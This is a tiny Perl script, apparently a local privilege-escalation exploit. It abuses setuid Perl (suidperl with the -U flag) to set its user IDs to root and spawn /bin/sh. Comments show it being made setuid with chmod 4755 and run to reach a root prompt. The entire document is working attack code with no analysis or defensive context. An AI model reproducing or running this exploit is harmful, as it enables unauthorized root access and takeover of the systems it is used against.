#!/usr/bin/suidperl -U
$>=0; $<=0;
exec ("/bin/sh");



#   $ chmod 4755 perl-ex.sh
#   $ ./perl-ex.sh
#   #